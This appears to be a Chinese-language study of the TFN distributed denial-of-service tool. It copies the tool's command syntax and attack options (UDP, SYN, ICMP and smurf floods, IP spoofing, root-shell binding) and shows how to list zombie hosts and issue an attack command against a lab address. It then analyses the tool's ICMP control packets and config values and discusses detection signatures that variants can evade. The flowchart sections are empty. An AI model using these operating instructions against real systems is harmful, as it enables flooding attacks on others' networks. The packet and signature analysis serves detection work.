TFN DDOS 拒絕服務攻擊程序研究
作者:青青子衿
email:[email protected]
一、TFN程序的使用
1、 簡介,tfn爲一個運行在linux平臺下的用來發起分佈式拒絕服務攻擊的程序,一個完整的TFN分控制端程序,和發起攻擊端程序。控制端程序的名稱爲tfn,發起ddos攻擊的程序名稱爲tf,這個程序個分佈在多臺電腦上,達到發起分佈式拒絕服務攻擊的效果。
2、 Tfn的使用:
(1) 、創建list.txt 文件,文件名可以是其他的。
將安裝有發起ddos攻擊程序tf的計算機的IP地址保存在該文件中,各IP地址之間用回車分隔。
(2) 、發出攻擊指令
命令格式:tfn <iplist> <type> [ip] [port] 其中
<iplist> 是保存了衆多用來發起DDOS攻擊的肉雞計算機的IP地址
<type> 發起DDOS攻擊的類型
-2 <bytes> set packet size for packets used for udp/icmp/smurf attacks
-1 <mask> set spoof mask. 0 will use random ips, 1 uses the correct
class a, 2 correct class b and 3 correct class c ip value
0 stop current floods; if no floods are found, display status
1 <targets> udp flood. target is one ip or multiple ips separated by @
2 <targets> <port> syn flood. if port is 0, random ports are used.
3 <targets> icmp echo request flood.
4 <port> only if compiled with ID_SHELL. bind a rootshell to <port>
5 <target@bcasts> smurf amplifier icmp attack. unlike the above floods,
this only supports a single target. further ips separated
by @ will be used as smurf amplifier broadcast addresses
[ip] 攻擊目標電腦的IP地址
[port] 攻擊目標的計算機的具體端口
3、使用舉例:
(1)、運行tfn 控制程序計算機的位置:192.168.111.116
運行tf程序發起ddos攻擊的計算機的位置:192.168.100.32
Ddos攻擊的計算機的IP位置:192.168.100.32
(2)、List.txt 文件的內容
192.168.100.30
(3)、運行tf程序
(4)、運行tfn控制程序
tfn list.txt 2 192.168.100.32
二、數據包分析
結論:經過數據包分析和源碼分析,tfn程序的攻擊發起消息通過ICMP協議發出,有某些特徵可以用來進行精確識別,但這些特徵很容易通過源碼修改,來改變。
1、 原始數據包
0000 00 00 9b 29 03 7a 00 00 31 39 32 2e 31 36 38 2e ...).z..192.168.
0010 31 30 30 2e 33 32 00 100.32.
00 00 9b 29 03 7a 00 00 ICMP協議的數據包頭
31 39 32 2e 31 36 38 2e ICMP協議的數據部分,發起DDOS攻擊的目標計算機ip地址
9b 29 ICMP數據包的校驗值
03 7a 發起DDOS攻擊的類型
2、 類型的轉換的分析
攻擊類型名稱 |
輸入的類型標識 |
數據包中的類型標識 |
|
ID_ACK |
|
0x7b |
123 |
ID_SHELL |
4 |
0x1c8 |
456 |
ID_PSIZE |
-2 |
0x315 |
789 |
ID_SWITCH |
-1 |
0xea |
234 |
ID_STOPIT |
0 |
0x237 |
567 |
ID_SENDUDP |
1 |
0x37a |
890 |
ID_SENDSYN |
2 |
0x159 |
345 |
ID_SYNPORT |
//發送端口 |
0x2a6 |
678 |
ID_ICMP |
3 |
0x385 |
901 |
ID_SMURF |
5 |
0x29a |
666 |
3、 關於變種的不確定性討論
就程序而言,可以考慮,將ICMP數據包包頭中的攻擊類型標識符和ICMP數據包中數據部分的IP地址結合起來作爲特徵來對攻擊指令的識別。並通過截獲的符合條件的數據包的數量來確定發起DDOS攻擊的規模的大小。
但這種方法對於變種程序的攻擊很難識別,原因是: 數據包中的類型標識與攻擊類型的對應關係是通過config.H中的宏定義來實現的,所以這種對應關係很容易修改。
具體定義如下:
#define ID_ACK 123 /* 0x7b for replies to the client */ //
#define ID_SHELL 456 /* 0x1c8 to bind a rootshell, optional */
#define ID_PSIZE 789 /* 0x315 to change size of udp/icmp packets */
#define ID_SWITCH 234 /* 0xea to switch spoofing mode */
#define ID_STOPIT 567 /* 0x237 to stop flooding */
#define ID_SENDUDP 890 /* 0x37a to udp flood */
#define ID_SENDSYN 345 /* 0x159 to syn flood */
#define ID_SYNPORT 678 /* 0x2a6 to set port */
#define ID_ICMP 901 /* 0x385 to icmp flood */
#define ID_SMURF 666 /* 0x29a haps! haps! */
三、程序構架
1、tfn DDOS攻擊主控制端程序流程圖
2、 tfn DDOS受控肉雞端程序流程圖